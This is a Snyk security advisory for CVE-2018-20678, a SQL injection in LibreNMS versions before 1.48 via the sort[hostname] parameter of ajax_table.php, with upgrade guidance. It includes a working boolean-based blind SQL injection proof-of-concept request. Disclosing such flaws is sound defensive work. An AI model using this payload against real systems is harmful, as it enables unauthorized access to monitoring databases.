SQL Injection Affecting librenms/librenms package, versions <1.48


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
0.1% (43rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-LIBRENMSLIBRENMS-174024
  • published29 Mar 2019
  • disclosed28 Mar 2019
  • creditDariusz Gońda, CERT ENEA member

Introduced: 28 Mar 2019

CVE-2018-20678  (opens in a new tab)
CWE-89  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade librenms/librenms to version 1.48 or higher.

Overview

librenms/librenms is a fully featured network monitoring system that provides a wealth of features and device support.

Affected versions of this package are vulnerable to SQL Injection via the html/ajax_table.php sort[hostname] parameter, exploitable by authenticated users during a search.

PoC:

Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: current=1&rowCount=50&sort[hostname]=asc,(SELECT (CASE WHEN (7936=7936) THEN 1 ELSE
7936*(SELECT 7936 FROM INFORMATION_SCHEMA.CHARACTER_SETS)
END))&searchPhrase=&id=devices&format=list_detail&searchquery=&os=&version=&hardware=&features=&location=&type=printer&state=&disabled=&ignore=&group=
                        

References

CVSS Scores

version 3.1